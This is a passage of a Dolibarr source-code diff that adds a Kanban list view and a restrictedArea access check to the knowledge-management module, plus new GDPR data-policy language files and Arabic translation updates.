= array(); $totalarray['nbfield'] = 0; $imaxinloop = ($limit ? min($num, $limit) : $num); while ($i < $imaxinloop) { @@ -636,131 +660,148 @@ while ($i < $imaxinloop) { // Store properties in $object $object->setVarsFromFetchObj($obj); - // Show here line of result - $j = 0; - print ''; - // Action column - if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; - } - foreach ($object->fields as $key => $val) { - $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); - if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; - } elseif ($key == 'status') { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; + // Output Kanban + print $object->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print ''; + print ''; } - - if (in_array($val['type'], array('timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif ($key == 'ref') { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } - - if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { - $cssforfield .= ($cssforfield ? ' ' : '').'right'; - } - //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; - if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; - if ($key == 'status') { - print $object->getLibStatut(5); - } elseif ($key == 'rowid') { - print $object->showOutputField($val, $key, $object->id, ''); - } elseif ($key == 'fk_user_creat') { - if ($object->fk_user_creat > 0) { - if (isset($conf->cache['user'][$object->fk_user_creat])) { - $user_temp = $conf->cache['user'][$object->fk_user_creat]; - } else { - $user_temp = new User($db); - $user_temp->fetch($object->fk_user_creat); - $conf->cache['user'][$object->fk_user_creat] = $user_temp; - } - print $user_temp->getNomUrl(-1); + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; if (!$i) { $totalarray['nbfield']++; } - if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + } + foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } + + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; + if (!empty($arrayfields['t.'.$key]['checked'])) { + print '$key)) { + print ' title="'.dol_escape_htmltag(dol_nl2br($object->$key, 1)).'"'; // We add dol_nl2br for the question and answer fields + } + print '>'; + if ($key == 'status') { + print $object->getLibStatut(5); + } elseif ($key == 'rowid') { + print $object->showOutputField($val, $key, $object->id, ''); + } elseif ($key == 'fk_user_creat') { + if ($object->fk_user_creat > 0) { + if (isset($conf->cache['user'][$object->fk_user_creat])) { + $user_temp = $conf->cache['user'][$object->fk_user_creat]; + } else { + $user_temp = new User($db); + $user_temp->fetch($object->fk_user_creat); + $conf->cache['user'][$object->fk_user_creat] = $user_temp; + } + print $user_temp->getNomUrl(-1); + } + } elseif ($key == 'fk_user_modif') { + if ($object->fk_user_modif > 0) { + if (isset($conf->cache['user'][$object->fk_user_modif])) { + $user_temp = $conf->cache['user'][$object->fk_user_modif]; + } else { + $user_temp = new User($db); + $user_temp->fetch($object->fk_user_modif); + $conf->cache['user'][$object->fk_user_modif] = $user_temp; + } + print $user_temp->getNomUrl(-1); + } + } elseif ($key == 'fk_user_valid') { + if ($object->fk_user_valid > 0) { + if (isset($conf->cache['user'][$object->fk_user_valid])) { + $user_temp = $conf->cache['user'][$object->fk_user_valid]; + } else { + $user_temp = new User($db); + $user_temp->fetch($object->fk_user_valid); + $conf->cache['user'][$object->fk_user_valid] = $user_temp; + } + print $user_temp->getNomUrl(-1); + } + } elseif ($key == 'lang') { + $labellang = ($object->lang ? $langs->trans('Language_'.$object->lang) : ''); + print picto_from_langcode($object->lang, 'class="paddingrightonly saturatemedium opacitylow"'); + print $labellang; + } elseif ($key == 'question') { + print dolGetFirstLineOfText($object->$key); + } else { + print $object->showOutputField($val, $key, $object->$key, ''); + } + print ''; if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + $totalarray['nbfield']++; } - if (!isset($totalarray['val'])) { - $totalarray['val'] = array(); + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $object->$key; } - if (!isset($totalarray['val']['t.'.$key])) { - $totalarray['val']['t.'.$key] = 0; - } - $totalarray['val']['t.'.$key] += $object->$key; } } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; + if (!$i) { + $totalarray['nbfield']++; } - print ''; } - print ''; - } - if (!$i) { - $totalarray['nbfield']++; - } - - print ''."\n"; + print ''."\n"; + } $i++; } diff --git a/htdocs/knowledgemanagement/knowledgerecord_note.php b/htdocs/knowledgemanagement/knowledgerecord_note.php index 3abc9e71866..ea1052ccc98 100644 --- a/htdocs/knowledgemanagement/knowledgerecord_note.php +++ b/htdocs/knowledgemanagement/knowledgerecord_note.php @@ -46,20 +46,20 @@ $hookmanager->initHooks(array('knowledgerecordnote', 'globalcard')); // Note tha // Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); -// Security check - Protection if external user -//if ($user->socid > 0) accessforbidden(); -//if ($user->socid > 0) $socid = $user->socid; -//$result = restrictedArea($user, 'knowledgemanagement', $id); - // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals if ($id > 0 || !empty($ref)) { $upload_dir = $conf->knowledgemanagement->multidir_output[$object->entity]."/".$object->id; } -$permissionnote = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_setnotes.inc.php -$permissiontoadd = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_addupdatedelete.inc.php +$permissionnote = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiontoadd = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_addupdatedelete.inc.php +// Security check - Protection if external user +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, $object->module, $object->id, $object->table_element, $object->element, '', 'rowid', $isdraft); /* diff --git a/htdocs/knowledgemanagement/lib/knowledgemanagement.lib.php b/htdocs/knowledgemanagement/lib/knowledgemanagement.lib.php index 2f189b05f5c..d1de9e5e401 100644 --- a/htdocs/knowledgemanagement/lib/knowledgemanagement.lib.php +++ b/htdocs/knowledgemanagement/lib/knowledgemanagement.lib.php @@ -28,10 +28,13 @@ */ function knowledgemanagementAdminPrepareHead() { - global $langs, $conf; + global $langs, $conf, $db; $langs->load("knowledgemanagement"); + $extrafields = new ExtraFields($db); + $extrafields->fetch_name_optionals_label('knowledgemanagement_knowledgerecord'); + $h = 0; $head = array(); @@ -43,14 +46,13 @@ function knowledgemanagementAdminPrepareHead() $head[$h][0] = DOL_URL_ROOT.'/admin/knowledgerecord_extrafields.php'; $head[$h][1] = $langs->trans("ExtraFields"); + $nbExtrafields = $extrafields->attributes['knowledgemanagement_knowledgerecord']['count']; + if ($nbExtrafields > 0) { + $head[$h][1] .= ''.$nbExtrafields.''; + } $head[$h][2] = 'extra'; $h++; - /*$head[$h][0] = DOL_URL_ROOT.'/knowledgemanagement/admin/about.php'; - $head[$h][1] = $langs->trans("About"); - $head[$h][2] = 'about'; - $h++;*/ - // Show more tabs from modules // Entries must be declared in modules descriptor with line //$this->tabs = array( diff --git a/htdocs/langs/am_ET/datapolicy.lang b/htdocs/langs/am_ET/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/am_ET/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ar_DZ/datapolicy.lang b/htdocs/langs/ar_DZ/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ar_DZ/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ar_EG/datapolicy.lang b/htdocs/langs/ar_EG/datapolicy.lang new file mode 100644 index 00000000000..9fdf912baac --- /dev/null +++ b/htdocs/langs/ar_EG/datapolicy.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - datapolicy +DATAPOLICY_TIERS_CLIENT =عميل +DATAPOLICY_CONTACT_CLIENT =عميل diff --git a/htdocs/langs/ar_EG/main.lang b/htdocs/langs/ar_EG/main.lang index 970e5d4d1d2..4745434e9cb 100644 --- a/htdocs/langs/ar_EG/main.lang +++ b/htdocs/langs/ar_EG/main.lang @@ -22,6 +22,7 @@ FormatDateHourText=%B %d, %Y, %I:%M %p Closed=مقفول Closed2=مقفول CloseAs=اضبط الحالة على +OpenVerb=افتح Password=كلمة السر Connection=تسجيل دخول RefSupplier=المرجع. مورد diff --git a/htdocs/langs/ar_EG/propal.lang b/htdocs/langs/ar_EG/propal.lang index bd57090dbd4..62d9172d356 100644 --- a/htdocs/langs/ar_EG/propal.lang +++ b/htdocs/langs/ar_EG/propal.lang @@ -13,7 +13,6 @@ Prospect=فرصة DeleteProp=حذف العرض التجاري ValidateProp=اعتماد العرض التجاري AddProp=إنشاء عرض -ConfirmDeleteProp=هل أنت متأكد أنك تريد حذف هذا العرض التجاري؟ ConfirmValidateProp=هل أنت متأكد أنك تريد اعتماد هذا العرض التجاري تحت الاسم %s ؟ LastPropals=أحدث عروض %s LastModifiedProposals=أحدث العروض المعدلة %s @@ -49,7 +48,6 @@ ErrorPropalNotFound=العرض %s غير موجود AddToDraftProposals=أضف إلى مسودة العرض NoDraftProposals=لا توجد مسودات عروض CopyPropalFrom=إنشاء عرض تجاري عن طريق نسخ العرض الحالي -CreateEmptyPropal=إنشاء عرض تجاري فارغ أو من قائمة المنتجات / الخدمات DefaultProposalDurationValidity=مدة صلاحية العرض التجاري الافتراضي (بالأيام) ConfirmClonePropal=هل أنت متأكد أنك تريد استنساخ العرض التجاري %s ؟ ConfirmReOpenProp=هل أنت متأكد أنك تريد إعادة فتح العرض التجاري %s ؟ @@ -59,8 +57,8 @@ AvailabilityTypeAV_1W=أسبوع 1 AvailabilityTypeAV_1M=شهر 1 TypeContact_propal_internal_SALESREPFOLL=الممثل المتابع للعرض TypeContact_propal_external_BILLING=جهة اتصال فاتورة العميل -DocModelCyanDescription=نموذج عرض كامل DefaultModelPropalCreate=إنشاء النموذج الافتراضي DefaultModelPropalToBill=النموذج الافتراضي عند إغلاق عرض الأعمال (سيتم إصدار فاتورة به) +DocModelCyanDescription=نموذج عرض كامل ProposalCustomerSignature=قبول خطي وختم الشركة والتاريخ والتوقيع ProposalsStatisticsSuppliers=إحصاءات مقترحات البائعين diff --git a/htdocs/langs/ar_EG/recruitment.lang b/htdocs/langs/ar_EG/recruitment.lang deleted file mode 100644 index 1ed064a91d3..00000000000 --- a/htdocs/langs/ar_EG/recruitment.lang +++ /dev/null @@ -1,4 +0,0 @@ -# Dolibarr language file - Source file is en_US - recruitment -ModuleRecruitmentName =توظيف -ModuleRecruitmentDesc =إدارة ومتابعة حملات التوظيف لشغل وظائف جديدة -RecruitmentSetup =إعداد التوظيف diff --git a/htdocs/langs/ar_EG/supplier_proposal.lang b/htdocs/langs/ar_EG/supplier_proposal.lang index 98769314093..ab10fd913c0 100644 --- a/htdocs/langs/ar_EG/supplier_proposal.lang +++ b/htdocs/langs/ar_EG/supplier_proposal.lang @@ -11,8 +11,6 @@ LastModifiedRequests=أحدث طلبات السعر المعدلة %s RequestsOpened=طلبات عروض اسعار مفتوحة SupplierProposalArea=منطقة عروض الموردين SupplierProposalShort=عرض المورد -SupplierProposals=عروض الموردين -SupplierProposalsShort=عروض الموردين NewAskPrice=طلب عرض سعر جديد ShowSupplierProposal=فتح عرض السعر AddSupplierProposal=عمل طلب عرض سعر @@ -30,7 +28,6 @@ SupplierProposalStatusValidatedShort=معتمد SupplierProposalStatusClosedShort=مقفول SupplierProposalStatusSignedShort=مقبول SupplierProposalStatusNotSignedShort=مرفوض -CopyAskFrom=قم بإنشاء طلب سعر عن طريق نسخ طلب موجود CreateEmptyAsk=إنشاء طلب فارغ ConfirmCloneAsk=هل أنت متأكد أنك تريد استنساخ طلب السعر %s ؟ ConfirmReOpenAsk=هل أنت متأكد أنك تريد فتح طلب السعر مرة أخرى %s ؟ @@ -39,9 +36,6 @@ SupplierProposalCard=بطاقة الطلب ConfirmDeleteAsk=هل أنت متأكد أنك تريد حذف طلب السعر هذا %s ؟ DefaultModelSupplierProposalCreate=إنشاء النموذج الافتراضي DefaultModelSupplierProposalClosed=القالب الافتراضي عند إغلاق طلب السعر (مرفوض) -ListOfSupplierProposals=قائمة طلبات عروض البائعين -ListSupplierProposalsAssociatedProject=قائمة عروض الموردين المرتبطة بالمشروع SupplierProposalsToClose=عروض موردين لإغلاق SupplierProposalsToProcess=عروض موردين لمعالجة -LastSupplierProposals=أحدث طلبات أسعار %s AllPriceRequests=جميع الطلبات diff --git a/htdocs/langs/ar_IQ/companies.lang b/htdocs/langs/ar_IQ/companies.lang new file mode 100644 index 00000000000..68a71bb368e --- /dev/null +++ b/htdocs/langs/ar_IQ/companies.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - companies +HasRelativeDiscountFromSupplier=You have a default discount of %s%% with this vendor +HasNoRelativeDiscountFromSupplier=No default relative discount with this vendor diff --git a/htdocs/langs/ar_IQ/propal.lang b/htdocs/langs/ar_IQ/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/ar_IQ/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/ar_JO/datapolicy.lang b/htdocs/langs/ar_JO/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ar_JO/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ar_SA/accountancy.lang b/htdocs/langs/ar_SA/accountancy.lang index 495ece856df..eece89bb6a9 100644 --- a/htdocs/langs/ar_SA/accountancy.lang +++ b/htdocs/langs/ar_SA/accountancy.lang @@ -1,6 +1,6 @@ # Dolibarr language file - en_US - Accountancy (Double entries) Accountancy=المحاسبة -Accounting=محاسبة +Accounting=الحسابات ACCOUNTING_EXPORT_SEPARATORCSV=فاصل العمود لملف التصدير ACCOUNTING_EXPORT_DATE=تنسيق التاريخ لملف التصدير ACCOUNTING_EXPORT_PIECE=تصدير عدد القطعة @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=حدد نوع إرجاع السطر ACCOUNTING_EXPORT_PREFIX_SPEC=تحديد بادئة لاسم الملف ThisService=هذه الخدمة ThisProduct=هذا المنتج -DefaultForService=افتراضي للخدمة -DefaultForProduct=افتراضي للمنتج +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=منتج لهذا الطرف الثالث ServiceForThisThirdparty=خدمة لهذا الطرف الثالث CantSuggest=لا أستطيع أن أقترح @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=حساب المحاسبة الرئيسي لل MainAccountForUsersNotDefined=حساب المحاسبة الرئيسي للمستخدمين الغير محددين في الإعدادات MainAccountForVatPaymentNotDefined=حساب المحاسبة الرئيسي لدفعات (VAT) الغير محددين في الإعدادات MainAccountForSubscriptionPaymentNotDefined=حساب المحاسبة الرئيسي للمشتركين الغير محددين في الإعدادات +UserAccountNotDefined=لم يتم تعريف حساب في الحسابات في الاعدادات AccountancyArea=منطقة المحاسبة AccountancyAreaDescIntro=استخدام وحدة المحاسبة تم في عدة خطوات: @@ -100,7 +101,8 @@ ShowAccountingAccount=عرض حساب المحاسبة ShowAccountingJournal=عرض دفتر يومية ShowAccountingAccountInLedger=عرض حساب المحاسبة في دفتر الأستاذ ShowAccountingAccountInJournals=عرض حساب المحاسبة في دفاتر اليومية -AccountAccountingSuggest=حساب المحاسبة المقترح +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=الحسابات الافتراضية MenuBankAccounts=الحسابات المصرفية MenuVatAccounts=حسابات ضريبة القيمة المضافة @@ -125,6 +127,7 @@ WriteBookKeeping=تسجيل المعاملات في المحاسبة Bookkeeping=دفتر حسابات BookkeepingSubAccount=حساب استاذ فرعي AccountBalance=رصيد الحساب +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=مرجع الكائن المصدر CAHTF=Total purchase vendor before tax TotalExpenseReport=تقرير المصاريف الإجمالية @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=تمكين قائمة التحرير والسرد لل ACCOUNTING_DATE_START_BINDING=تحديد موعد لبدء الربط والتحويل في المحاسبة. بعد هذا التاريخ ، لن يتم تحويل المعاملات إلى المحاسبة. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=في تحويل المحاسبة ، 